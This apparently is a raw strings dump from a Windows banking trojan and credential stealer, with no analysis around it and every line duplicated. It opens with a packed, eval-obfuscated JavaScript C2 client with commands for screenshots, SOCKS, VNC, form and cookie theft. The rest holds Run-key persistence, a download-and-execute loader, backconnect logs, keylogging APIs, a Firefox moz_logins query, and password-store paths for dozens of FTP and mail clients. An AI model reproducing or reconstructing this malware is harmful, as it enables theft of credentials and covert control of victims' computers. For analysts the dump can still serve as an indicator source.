eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('l 1b(i){j.R=i;j.z=q;j.W=2;j.Q=l(){p(x K===\'I\'){K=l(){A{k E G("J.H.6.0")}B(e){}A{k E G("J.H.3.0")}B(e){}A{k E G("J.H")}B(e){}A{k E G("Y.H")}B(e){}k u}}k E K()};j.o=l(a,b,c,d){L f=j.Q();L g=q;L h=j;F=(x(d)==\'I\')?u:s;b=\'/\' j.R \'/\' 18.19() \'/\' b;p(F==s){j.z=q;f.1a=l(){A{p(f.T==4){p(f.O!=P||f.y==\'-\'){h.z=u;p(x(d)=="l"){d(u)}}C{p(f.y==\' \'){h.z=s;p(x(d)=="l"){d(s)}}C{h.z=f.y;p(x(d)=="l"){d(f.y)}}}}}B(e){h.z=u;p(x(d)=="l"){d(u)}}}}f.1e(a,b,F);f.1g(c);p(F==s){k s}A{p(f.T==4&&f.O==P){p(f.y==\'-\'){k u}C{p(f.y==\' \'){k s}C{k f.y}}}k u}B(e){k u}};j.1p=l(){k j.z};j.V=l(a,b,c){m=\'1/\' a;k j.o(\'v\',m,b,c)};j.X=l(a,b){m=\'2/\' a;k j.o(\'w\',m,q,b)};j.Z=l(a,b){m=\'3/\' a;k j.o(\'w\',m,q,b)};j.16=l(a){m=\'4/\';k j.o(\'w\',m,q,a)};j.17=l(a,b,c){t=(b==s)?\'S\':\'D\';k j.o(\'w\',\'5/\' t \'/\' a,q,c)};j.1c=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'5/\' t \'/\' a,c,d)};j.1d=l(a,b,c,d){t=(b==s)?\'S\':\'D\';p(x(c)==\'I\'||c==u){c=q;N=\'w\'}C{c=\'1f: \' c;N=\'v\'}k j.o(N,\'6/\' t \'/\' a,c,d)};j.M=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'7/\' t \'/\' a,c,d)};j.1h=l(a,b,c,d){m=\'8/\' b \'/\' c \'/\' 1i(a);k j.o(\'w\',m,q,d)};j.1j=l(a,b){m=\'9/\';k j.o(\'v\',m,a,b)};j.1k=l(a){m=\'10/\';k j.o(\'w\',m,q,a)};j.1l=l(a,b){m=\'11/\';k j.o(\'v\',m,a,b)};j.1m=l(a,b){m=\'12/\';k j.o(\'v\',m,a,b)};j.1n=l(a,b,c){m=\'13/\';M=a "\\r\\n" b;k j.o(\'v\',m,M,c)};j.1o=l(a,b){m=\'14/\' a;U=1q.1r.1s;k j.o(\'v\',m,U,b)};j.1t=l(a){m=\'15/\';k j.o(\'w\',m,q,a)}};',62,92,'|||||||||||||||||||this|return|function|Url||Query|if|null||true||false|POST|GET|typeof|responseText|_LastAsync|try|catch|else||new|Async|ActiveXObject|XMLHTTP|undefined|Msxml2|XMLHttpRequest|var|Post|Type|status|200|GetXHR|_Key||readyState|Data|SetVal|Version|GetVal|Microsoft|DelVal|||||||ClearVals|GetServer|Math|random|onreadystatechange|EQFramework|PostServer|Get|open|Cookie|send|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|GetLastAsync|document|location|href|StopVideo'.split('|'),0,{}));

eval('var %s '

eval('var %s '

function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('=z k(){i.P=p;i.w=p;i.Y=3;i.O=k(){o(y N===\'H\'){N=k(){A{j z G("L.E.6.0")}B(e){}A{j z G("L.E.3.0")}B(e){}A{j z G("L.E")}B(e){}A{j z G("W.E")}B(e){}j s}}j z N()};i.m=k(a,b,c,d){J f=i.O();J g=p;J h=i;F=(y(d)==\'H\')?s:q;b=\'/\' i.P \'/\' 19.1a() \'/\' b;o(F==q){i.w=p;f.1p=k(){A{o(f.T==4){o(f.R!=Q||f.x==\'-\'){h.w=s;o(y(d)=="k"){d(s)}}C{o(f.x==\' \'){h.w=q;o(y(d)=="k"){d(q)}}C{h.w=f.x;o(y(d)=="k"){d(f.x)}}}}}B(e){h.w=s;o(y(d)=="k"){d(s)}}}}f.1b(a,b,F);f.1e(c);o(F==q){j q}A{o(f.T==4&&f.R==Q){o(f.x==\'-\'){j s}C{o(f.x==\' \'){j q}C{j f.x}}}j s}B(e){j s}};i.1g=k(){j i.w};i.1w=k(a,b,c){l=\'1/\' a;j i.m(\'u\',l,b,c)};i.X=k(a,b){l=\'2/\' a;j i.m(\'v\',l,p,b)};i.Z=k(a,b){l=\'3/\' a;j i.m(\'v\',l,p,b)};i.16=k(a){l=\'4/\';j i.m(\'v\',l,p,a)};i.17=k(a,b,c){t=(b==q)?\'S\':\'D\';j i.m(\'v\',\'5/\' t \'/\' a,p,c)};i.1c=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'5/\' t \'/\' a,c,d)};i.1d=k(a,b,c,d){t=(b==q)?\'S\':\'D\';o(y(c)==\'H\'||c==s){c=p;I=\'v\'}C{c=\'1f: \' c;I=\'u\'}j i.m(I,\'6/\' t \'/\' a,c,d)};i.M=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'7/\' t \'/\' a,c,d)};i.1h=k(a,b,c,d){l=\'8/\' b \'/\' c \'/\' 1i(a);j i.m(\'v\',l,p,d)};i.1j=k(a,b){l=\'9/\';j i.m(\'u\',l,a,b)};i.1k=k(a){l=\'10/\';j i.m(\'v\',l,p,a)};i.1l=k(a,b){l=\'11/\';j i.m(\'u\',l,a,b)};i.1m=k(a,b){l=\'12/\';j i.m(\'u\',l,a,b)};i.1n=k(a,b,c){l=\'13/\';M=a "\\r\\n" b;j i.m(\'u\',l,M,c)};i.1o=k(a,b){l=\'14/\' a;U=V.1q.1r;j i.m(\'u\',l,U,b)};i.1s=k(a){l=\'15/\';j i.m(\'v\',l,p,a)};i.1t=k(a){K=V.1u(a);K.1v.18(K)}};',62,95,'||||||||||||||||||this|return|function|Url|Query||if|null|true||false||POST|GET|_LastAsync|responseText|typeof|new|try|catch|else||XMLHTTP|Async|ActiveXObject|undefined|Type|var|El|Msxml2|Post|XMLHttpRequest|GetXHR|Key|200|status||readyState|Data|document|Microsoft|GetVal|Version|DelVal|||||||ClearVals|GetServer|removeChild|Math|random|open|PostServer|Get|send|Cookie|GetLastAsync|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|onreadystatechange|location|href|StopVideo|Hide|getElementById|parentNode|SetVal'.split('|'),0,{}));

function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('=z k(){i.P=p;i.w=p;i.Y=3;i.O=k(){o(y N===\'H\'){N=k(){A{j z G("L.E.6.0")}B(e){}A{j z G("L.E.3.0")}B(e){}A{j z G("L.E")}B(e){}A{j z G("W.E")}B(e){}j s}}j z N()};i.m=k(a,b,c,d){J f=i.O();J g=p;J h=i;F=(y(d)==\'H\')?s:q;b=\'/\' i.P \'/\' 19.1a() \'/\' b;o(F==q){i.w=p;f.1p=k(){A{o(f.T==4){o(f.R!=Q||f.x==\'-\'){h.w=s;o(y(d)=="k"){d(s)}}C{o(f.x==\' \'){h.w=q;o(y(d)=="k"){d(q)}}C{h.w=f.x;o(y(d)=="k"){d(f.x)}}}}}B(e){h.w=s;o(y(d)=="k"){d(s)}}}}f.1b(a,b,F);f.1e(c);o(F==q){j q}A{o(f.T==4&&f.R==Q){o(f.x==\'-\'){j s}C{o(f.x==\' \'){j q}C{j f.x}}}j s}B(e){j s}};i.1g=k(){j i.w};i.1w=k(a,b,c){l=\'1/\' a;j i.m(\'u\',l,b,c)};i.X=k(a,b){l=\'2/\' a;j i.m(\'v\',l,p,b)};i.Z=k(a,b){l=\'3/\' a;j i.m(\'v\',l,p,b)};i.16=k(a){l=\'4/\';j i.m(\'v\',l,p,a)};i.17=k(a,b,c){t=(b==q)?\'S\':\'D\';j i.m(\'v\',\'5/\' t \'/\' a,p,c)};i.1c=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'5/\' t \'/\' a,c,d)};i.1d=k(a,b,c,d){t=(b==q)?\'S\':\'D\';o(y(c)==\'H\'||c==s){c=p;I=\'v\'}C{c=\'1f: \' c;I=\'u\'}j i.m(I,\'6/\' t \'/\' a,c,d)};i.M=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'7/\' t \'/\' a,c,d)};i.1h=k(a,b,c,d){l=\'8/\' b \'/\' c \'/\' 1i(a);j i.m(\'v\',l,p,d)};i.1j=k(a,b){l=\'9/\';j i.m(\'u\',l,a,b)};i.1k=k(a){l=\'10/\';j i.m(\'v\',l,p,a)};i.1l=k(a,b){l=\'11/\';j i.m(\'u\',l,a,b)};i.1m=k(a,b){l=\'12/\';j i.m(\'u\',l,a,b)};i.1n=k(a,b,c){l=\'13/\';M=a "\\r\\n" b;j i.m(\'u\',l,M,c)};i.1o=k(a,b){l=\'14/\' a;U=V.1q.1r;j i.m(\'u\',l,U,b)};i.1s=k(a){l=\'15/\';j i.m(\'v\',l,p,a)};i.1t=k(a){K=V.1u(a);K.1v.18(K)}};',62,95,'||||||||||||||||||this|return|function|Url|Query||if|null|true||false||POST|GET|_LastAsync|responseText|typeof|new|try|catch|else||XMLHTTP|Async|ActiveXObject|undefined|Type|var|El|Msxml2|Post|XMLHttpRequest|GetXHR|Key|200|status||readyState|Data|document|Microsoft|GetVal|Version|DelVal|||||||ClearVals|GetServer|removeChild|Math|random|open|PostServer|Get|send|Cookie|GetLastAsync|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|onreadystatechange|location|href|StopVideo|Hide|getElementById|parentNode|SetVal'.split('|'),0,{}));

%s.Key = '%s';

%s.Key = '%s';

%s.Hide('%0.8X%0.8X');

%s.Hide('%0.8X%0.8X');

CertificateAuthority

CertificateAuthority

%s.pfx

%s.pfx

cookies.sqlite

cookies.sqlite

cookies.sqlite-journal

cookies.sqlite-journal

ff/%u/cookies.sqlite

ff/%u/cookies.sqlite

Software\df5a3418-685e-4e1f-a26a-aabf17af39b8

Software\df5a3418-685e-4e1f-a26a-aabf17af39b8

[%s - X32 EQ PID: %u TID: %u]

[%s - X32 EQ PID: %u TID: %u]

X-Firefox-Spdy

X-Firefox-Spdy

X-WebKit-CSP

X-WebKit-CSP

hXXps://

hXXps://

HTTP/1.1 200 OK

HTTP/1.1 200 OK

Content-Length: %u

Content-Length: %u

GET /favicon.ico HTTP/1.1

GET /favicon.ico HTTP/1.1

GET /favicon.ico HTTP/1.0

GET /favicon.ico HTTP/1.0

login=%s&pass=%s

login=%s&pass=%s

KERNEL32.DLL

KERNEL32.DLL

chrome.dll

chrome.dll

127.0.0.1

127.0.0.1

Content-Type: application/x-www-form-urlencoded

Content-Type: application/x-www-form-urlencoded

Software\Microsoft\Windows\CurrentVersion\Run

Software\Microsoft\Windows\CurrentVersion\Run

regsvr32.exe "%s"

regsvr32.exe "%s"

&info=%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.4X%0.2X%0.4X&proxy=%s

&info=%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.4X%0.2X%0.4X&proxy=%s

[VNC] Parse param error: %s

[VNC] Parse param error: %s

\regsvr32.exe

\regsvr32.exe

[VNC] Fail create process: %u

[VNC] Fail create process: %u

[VNC] Fail inject to process: %u

[VNC] Fail inject to process: %u

fv_%u.avi

fv_%u.avi

#FV_%u

#FV_%u

#FV_%s

#FV_%s

pass.txt

pass.txt

cert.pfx

cert.pfx

PFXImportCertStore

PFXImportCertStore

Crypt32.dll

Crypt32.dll

user_pref("network.http.spdy.enabled", false);

user_pref("network.http.spdy.enabled", false);

user_pref("network.http.spdy.enabled.v3", false);

user_pref("network.http.spdy.enabled.v3", false);

user_pref("network.http.spdy.enabled.v3-1", false);

user_pref("network.http.spdy.enabled.v3-1", false);

prefs.js

prefs.js

csrss.exe

csrss.exe

smss.exe

smss.exe

wininit.exe

wininit.exe

services.exe

services.exe

svchost.exe

svchost.exe

lsass.exe

lsass.exe

lsm.exe

lsm.exe

winlogon.exe

winlogon.exe

taskhost.exe

taskhost.exe

WININET.DLL

WININET.DLL

HttpEndRequestA

HttpEndRequestA

HttpEndRequestW

HttpEndRequestW

ADVAPI32.DLL

ADVAPI32.DLL

Init in Browser = %u

Init in Browser = %u

Init in Shell = %u

Init in Shell = %u

[Socks] Failt connect BC [%s:%u]

[Socks] Failt connect BC [%s:%u]

[Socks] Fail parse param: %s

[Socks] Fail parse param: %s

#cert

#cert

[Pony] Fail Get Pass

[Pony] Fail Get Pass

DL_EXEC LOAD ERROR: %u = %s

DL_EXEC LOAD ERROR: %u = %s

DL_EXEC Status [Pipe]: %u-%u-%u

DL_EXEC Status [Pipe]: %u-%u-%u

DL_EXEC Status[Local]: %u = %u

DL_EXEC Status[Local]: %u = %u

Start Socks addr: %s

Start Socks addr: %s

Start Socks Status[Pipe]: %u-%u-%u

Start Socks Status[Pipe]: %u-%u-%u

Start Socks Status[Local]: %u

Start Socks Status[Local]: %u

Start VNC addr: %s

Start VNC addr: %s

Start VNC Status[Pipe]: %u-%u-%u

Start VNC Status[Pipe]: %u-%u-%u

Start VNC Status[Local]: %u

Start VNC Status[Local]: %u

msvcrt.dll

msvcrt.dll

%0.8X%0.8X%c

%0.8X%0.8X%c

/work/1.php?sid=%0.8X%0.8X%0.4X%0.4X%0.2X%0.2X%0.4X

/work/1.php?sid=%0.8X%0.8X%0.4X%0.4X%0.2X%0.2X%0.4X

firefox.exe

firefox.exe

explorer.exe

explorer.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\

%Program Files%\Mozilla Firefox\

%Program Files%\Mozilla Firefox\

mozsqlite3.dll

mozsqlite3.dll

sqlite3_open

sqlite3_open

sqlite3_exec

sqlite3_exec

sqlite3_close

sqlite3_close

sqlite3_free

sqlite3_free

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3

Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3

hXXp://

hXXp://

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)

\\.\pipe\

\\.\pipe\

PID: %u [%0.2u:%0.2u:%0.2u]

PID: %u [%0.2u:%0.2u:%0.2u]

[BC] Cmd Ver Error

[BC] Cmd Ver Error

[BC] Wait Ping error %u[%u]

[BC] Wait Ping error %u[%u]

[BC] Fail Connect: %u

[BC] Fail Connect: %u

[BC] Fail read cmd

[BC] Fail read cmd

[BC] Cmd need reauth

[BC] Cmd need reauth

[BC] cmd error: %u

[BC] cmd error: %u

[BC] Cmd need disconnect

[BC] Cmd need disconnect

ntdll.dll

ntdll.dll

Common Files\Doctor Web

Common Files\Doctor Web

Doctor Web

Doctor Web

McAfee.com

McAfee.com

DrWeb

DrWeb

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths\

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths\

Kernel32.dll

Kernel32.dll

gdiplus.dll

gdiplus.dll

GdiplusShutdown

GdiplusShutdown

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\

account.cfg

account.cfg

account.cfn

account.cfn

Dir #%u

Dir #%u

.oeaccount

.oeaccount

Software\Microsoft\Windows Live Mail

Software\Microsoft\Windows Live Mail

\Microsoft\Windows Live Mail

\Microsoft\Windows Live Mail

Software\Microsoft\Windows Mail

Software\Microsoft\Windows Mail

\Microsoft\Windows Mail

\Microsoft\Windows Mail

PopPort

PopPort

PopPassword

PopPassword

SmtpServer

SmtpServer

SmtpPort

SmtpPort

SmtpAccount

SmtpAccount

SmtpPassword

SmtpPassword

abe2869f-9b47-4cd9-a358-c22904dba7f7

abe2869f-9b47-4cd9-a358-c22904dba7f7

MS IE FTP Passwords

MS IE FTP Passwords

Last Server Port

Last Server Port

Last Server Pass

Last Server Pass

Server.Port

Server.Port

Server.User

Server.User

Server.Host

Server.Host

Server.Pass

Server.Pass

Password

Password

Software\Far\Plugins\FTP\Hosts

Software\Far\Plugins\FTP\Hosts

Software\Far2\Plugins\FTP\Hosts

Software\Far2\Plugins\FTP\Hosts

Software\Far Manager\Plugins\FTP\Hosts

Software\Far Manager\Plugins\FTP\Hosts

Software\Far\SavedDialogHistory\FTPHost

Software\Far\SavedDialogHistory\FTPHost

Software\Far2\SavedDialogHistory\FTPHost

Software\Far2\SavedDialogHistory\FTPHost

Software\Far Manager\SavedDialogHistory\FTPHost

Software\Far Manager\SavedDialogHistory\FTPHost

\win.ini

\win.ini

WS_FTP

WS_FTP

\Ipswitch\WS_FTP

\Ipswitch\WS_FTP

\GlobalSCAPE\CuteFTP

\GlobalSCAPE\CuteFTP

sm.dat

sm.dat

\GlobalSCAPE\CuteFTP Pro

\GlobalSCAPE\CuteFTP Pro

\GlobalSCAPE\CuteFTP Lite

\GlobalSCAPE\CuteFTP Lite

\CuteFTP

\CuteFTP

CUTEFTP

CUTEFTP

Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar

\Sites.dat

\Sites.dat

\Quick.dat

\Quick.dat

\History.dat

\History.dat

Software\BPFTP\Bullet Proof FTP\Main

Software\BPFTP\Bullet Proof FTP\Main

Software\BulletProof Software\BulletProof FTP Client\Main

Software\BulletProof Software\BulletProof FTP Client\Main

Software\BPFTP\Bullet Proof FTP\Options

Software\BPFTP\Bullet Proof FTP\Options

Software\BulletProof Software\BulletProof FTP Client\Options

Software\BulletProof Software\BulletProof FTP Client\Options

Software\BPFTP

Software\BPFTP

\SmartFTP

\SmartFTP

Favorites.dat

Favorites.dat

History.dat

History.dat

Software\TurboFTP

Software\TurboFTP

\TurboFTP

\TurboFTP

addrbk.dat

addrbk.dat

quick.dat

quick.dat

Port

Port

Login

Login

PasswordType

PasswordType

profiles.xml

profiles.xml

\FTP Explorer

\FTP Explorer

Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224

Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224

Software\FTP Explorer\Profiles

Software\FTP Explorer\Profiles

FtpSite.xml

FtpSite.xml

RushSite.xml

RushSite.xml

\FTPRush

\FTPRush

bitkinex.ds

bitkinex.ds

NDSites.ini

NDSites.ini

Software\LeechFTP

Software\LeechFTP

bookmark.dat

bookmark.dat

CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32

CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32

sites.db

sites.db

servers.xml

servers.xml

\FTPGetter

\FTPGetter

ESTdb2.dat

ESTdb2.dat

\Estsoft\ALFTP

\Estsoft\ALFTP

QData.dat

QData.dat

SM.arch

SM.arch

FTP .Link\shell\open\command

FTP .Link\shell\open\command

NppFTP.xml

NppFTP.xml

Software\MAS-Soft\FTPInfo\Setup

Software\MAS-Soft\FTPInfo\Setup

ServerList.xml

ServerList.xml

\FTPInfo

\FTPInfo

NovaFTP.db

NovaFTP.db

\INSoftware\NovaFTP

\INSoftware\NovaFTP

\sites.xml

\sites.xml

ftplast.osd

ftplast.osd

\SharedSettings.ccs

\SharedSettings.ccs

\SharedSettings.sqlite

\SharedSettings.sqlite

\SharedSettings_1_0_5.ccs

\SharedSettings_1_0_5.ccs

\SharedSettings_1_0_5.sqlite

\SharedSettings_1_0_5.sqlite

\32BitFtp.ini

\32BitFtp.ini

FTPCON

FTPCON

FTP CONTROL

FTP CONTROL

FTPVoyager.ftp

FTPVoyager.ftp

\RhinoSoft.com

\RhinoSoft.com

FTPVoyager.qc

FTPVoyager.qc

FTPVoyager.Archive

FTPVoyager.Archive

SiteInfo.QFP

SiteInfo.QFP

WinFTP

WinFTP

DeluxeFTP

DeluxeFTP

sites.xml

sites.xml

Staff-FTP

Staff-FTP

sites.ini

sites.ini

FreshFTP

FreshFTP

Software\FlashPeak\BlazeFtp\Settings

Software\FlashPeak\BlazeFtp\Settings

LastPassword

LastPassword

LastPort

LastPort

BlazeFtp

BlazeFtp

site.dat

site.dat

\BlazeFtp

\BlazeFtp

GoFTP

GoFTP

Connections.txt

Connections.txt

3D-FTP

3D-FTP

\3D-FTP

\3D-FTP

SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32

SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32

EasyFTP

EasyFTP

FTPNow

FTPNow

FTP Now

FTP Now

FTPShell

FTPShell

ftpshell.fsi

ftpshell.fsi

ftpsite.ini

ftpsite.ini

FTPList.db

FTPList.db

My FTP

My FTP

project.ini

project.ini

Mailbox.ini

Mailbox.ini

FTP Navigator

FTP Navigator

FTP Commander

FTP Commander

ftplist.txt

ftplist.txt

Software\Sota\FFFTP

Software\Sota\FFFTP

Software\Sota\FFFTP\Options

Software\Sota\FFFTP\Options

Software\FTPWare\COREFTP\Sites

Software\FTPWare\COREFTP\Sites

FtpPort

FtpPort

Software\Cryer\WebSitePublisher

Software\Cryer\WebSitePublisher

_Password

_Password

Software\NCH Software\ClassicFTP\FTPAccounts

Software\NCH Software\ClassicFTP\FTPAccounts

FtpPassword

FtpPassword

_FtpPassword

_FtpPassword

FtpServer

FtpServer

FtpUserName

FtpUserName

FtpDirectory

FtpDirectory

Software\FTPClient\Sites

Software\FTPClient\Sites

Software\SoftX.org\FTPClient\Sites

Software\SoftX.org\FTPClient\Sites

PortNumber

PortNumber

PassWord

PassWord

Software\South River Technologies\WebDrive\Connections

Software\South River Technologies\WebDrive\Connections

Software\LinasFTP\Site Manager

Software\LinasFTP\Site Manager

FTP destination password

FTP destination password

FTP destination server

FTP destination server

FTP destination port

FTP destination port

FTP destination user

FTP destination user

FTP destination catalog

FTP destination catalog

FTP profiles

FTP profiles

Msi.dll

Msi.dll

{74FF1730-B1F2-4D88-926B-1568FAE61DB7}

{74FF1730-B1F2-4D88-926B-1568FAE61DB7}

\PocoSystem.ini

\PocoSystem.ini

accounts.ini

accounts.ini

sites.dat

sites.dat

\LeapWare\LeapFTP

\LeapWare\LeapFTP

unleap.exe

unleap.exe

leapftp

leapftp

FtpIniName

FtpIniName

Software\Ghisler\Windows Commander

Software\Ghisler\Windows Commander

wcx_PTF.ini

wcx_PTF.ini

\sitemanager.xml

\sitemanager.xml

\recentservers.xml

\recentservers.xml

\filezilla.xml

\filezilla.xml

"password" : "

"password" : "

"password":"

"password":"

\drives.js

\drives.js

\ExpanDrive\favorites.js

\ExpanDrive\favorites.js

\ExpanDrive\drives.js

\ExpanDrive\drives.js

wiseftpsrvs.ini

wiseftpsrvs.ini

wisePTF.ini

wisePTF.ini

wiseftpsrvs.bin

wiseftpsrvs.bin

SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}

SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}

SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}

SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}

FTP Count

FTP Count

FTP File%u

FTP File%u

Robo-FTP

Robo-FTP

SOFTWARE\%s\FTPServers

SOFTWARE\%s\FTPServers

user.config

user.config

.duck

.duck

SiteServer %u\Host

SiteServer %u\Host

SiteServer %u\WebUrl

SiteServer %u\WebUrl

SiteServer %u\Remote Directory

SiteServer %u\Remote Directory

SiteServer %u-User

SiteServer %u-User

SiteServer %u-User PW

SiteServer %u-User PW

SiteServer %u\SFTP

SiteServer %u\SFTP

Keychain

Keychain

Software\Nico Mak Computing\WinZip\FTP

Software\Nico Mak Computing\WinZip\FTP

PK11_GetInternalKeySlot

PK11_GetInternalKeySlot

sqlite3.dll

sqlite3.dll

sqlite3_prepare

sqlite3_prepare

sqlite3_step

sqlite3_step

sqlite3_column_bytes

sqlite3_column_bytes

sqlite3_column_blob

sqlite3_column_blob

SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins

SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins

PTF://

PTF://

signons.sqlite

signons.sqlite

\profiles.ini

\profiles.ini

PathToExe

PathToExe

\Mozilla\Firefox\

\Mozilla\Firefox\

Firefox

Firefox

Software\Mozilla

Software\Mozilla

fireFTPsites.dat

fireFTPsites.dat

\Mozilla\SeaMonkey\

\Mozilla\SeaMonkey\

SeaMonkey

SeaMonkey

\Mozilla\Profiles\

\Mozilla\Profiles\

Mozilla

Mozilla

password 51:b:

password 51:b:

SMTP Password

SMTP Password

HTTPMail Password

HTTPMail Password

NNTP Password

NNTP Password

IMAP Password

IMAP Password

POP3 Password

POP3 Password

SMTP Password2

SMTP Password2

HTTPMail Password2

HTTPMail Password2

NNTP Password2

NNTP Password2

IMAP Password2

IMAP Password2

POP3 Password2

POP3 Password2

IMAP Port

IMAP Port

SMTP Port

SMTP Port

POP3 Port

POP3 Port

SMTP User

SMTP User

HTTPMail Server

HTTPMail Server

HTTPMail User Name

HTTPMail User Name

HTTP Server URL

HTTP Server URL

HTTP User

HTTP User

SMTP User Name

SMTP User Name

SMTP Server

SMTP Server

SMTP Email Address

SMTP Email Address

{X-X-X-XX-XXXXXX}

{X-X-X-XX-XXXXXX}

inetcomm server passwords

inetcomm server passwords

outlook account manager passwords

outlook account manager passwords

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Pstorec.dll

Pstorec.dll

[VNC] EXEC: %s

[VNC] EXEC: %s

IE WND [%0.8X] ENABLED: %s VISIBLED: %s

IE WND [%0.8X] ENABLED: %s VISIBLED: %s

[%u] {%u, %u} {%u, %u} {%0.8X, %0.8X} = %s

[%u] {%u, %u} {%u, %u} {%0.8X, %0.8X} = %s

[VDESK] Read CMD %u[%u]

[VDESK] Read CMD %u[%u]

[VDESK] NOT AUTH CMD %u

[VDESK] NOT AUTH CMD %u

GetAsyncKeyState

GetAsyncKeyState

USER32.DLL

USER32.DLL

GetKeyboardState

GetKeyboardState

GetKeyState

GetKeyState

?WINMM.DLL

?WINMM.DLL

?DSOUND.DLL

?DSOUND.DLL

ZwConnectPort

ZwConnectPort

NTDLL.DLL

NTDLL.DLL

[VNC] PROCESS=%s

[VNC] PROCESS=%s

\explorer.exe

\explorer.exe

[VNC] SearchApp Status = %u

[VNC] SearchApp Status = %u

[VNC] FileName = %s

[VNC] FileName = %s

[VNC] CmdLine = %s

[VNC] CmdLine = %s

[VNC] W64 Redir OLD=%u

[VNC] W64 Redir OLD=%u

[VNC] CreateProcess Status = %u (%u)

[VNC] CreateProcess Status = %u (%u)

Chrome_WidgetWin_1

Chrome_WidgetWin_1

SysShadow

SysShadow

Chrome_WidgetWin_0

Chrome_WidgetWin_0

Dxtrans.dll

Dxtrans.dll

d3d11.dll

d3d11.dll

d3d9.dll

d3d9.dll

OPENGL32.dll

OPENGL32.dll

d2d1.dll

d2d1.dll

d3d10core.dll

d3d10core.dll

d3d10.dll

d3d10.dll

d3d10_1core.dll

d3d10_1core.dll

d3d10_1.dll

d3d10_1.dll

RegCloseKey

RegCloseKey

RegNotifyChangeKeyValue

RegNotifyChangeKeyValue

ShellExecuteA

ShellExecuteA

DeleteUrlCacheEntry

DeleteUrlCacheEntry

EnumWindows

EnumWindows

ActivateKeyboardLayout

ActivateKeyboardLayout

SetViewportOrgEx

SetViewportOrgEx

RegEnumKeyExA

RegEnumKeyExA

RegCreateKeyA

RegCreateKeyA

RegCreateKeyExA

RegCreateKeyExA

RegOpenKeyExA

RegOpenKeyExA

CryptImportKey

CryptImportKey

CryptDestroyKey

CryptDestroyKey

